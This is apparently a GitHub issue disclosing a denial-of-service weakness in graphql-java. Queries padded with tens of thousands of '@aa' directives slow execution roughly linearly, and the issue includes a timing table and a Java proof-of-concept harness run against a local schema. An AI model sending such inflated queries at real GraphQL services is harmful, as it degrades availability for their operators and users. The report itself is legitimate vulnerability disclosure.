Skip to content

Denial of Service via Directive overloading #2888

@act1on3

Description

@act1on3

Hello team,
I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik).
Query example:

query {__typename @aa}

I get errors by implemented security mechanisms, but these mechanisms don't help in this case:

MaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.

Query execution time increases by adding more directives:

5000 directives: 445 ms
10000 directives: 732 ms
15000 directives: 1164 ms
20000 directives: 1671 ms
25000 directives: 2159 ms
30000 directives: 2661 ms
35000 directives: 3171 ms
40000 directives: 3687 ms
45000 directives: 4224 ms
50000 directives: 4711 ms
55000 directives: 5227 ms
60000 directives: 5749 ms
65000 directives: 6297 ms
70000 directives: 6788 ms

The code snippet for testing:

import graphql.ExecutionInput;
import graphql.ExecutionResult;
import graphql.GraphQL;
import graphql.schema.GraphQLSchema;
import graphql.schema.StaticDataFetcher;
import graphql.schema.idl.RuntimeWiring;
import graphql.schema.idl.SchemaGenerator;
import graphql.schema.idl.SchemaParser;
import graphql.schema.idl.TypeDefinitionRegistry;

import static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;

public class HelloWorld {

    static Integer STEP = 5000;
    static Integer CHECKS_AMOUNT = 15;

    public static void main(String[] args) {
        String schema = "type Query{hello: String}";

        SchemaParser schemaParser = new SchemaParser();
        TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);

        RuntimeWiring runtimeWiring = newRuntimeWiring()
                .type("Query", builder -> builder.dataFetcher("hello", new StaticDataFetcher("world")))
                .build();

        SchemaGenerator schemaGenerator = new SchemaGenerator();
        GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);

        GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();

        String payload = "@aa";

        for (int i = 1; i < CHECKS_AMOUNT; i++) {

            String query = "query {__typename " + payload.repeat(i * STEP) + "}";
            ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();

            long startTime = System.nanoTime();

            ExecutionResult executionResult = build.execute(executionInput);

            long endTime = System.nanoTime();
            long duration = (endTime - startTime);

            System.out.println(String.format("%d directives: %d ms", i* STEP, duration / 1000000));
        }
    }
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions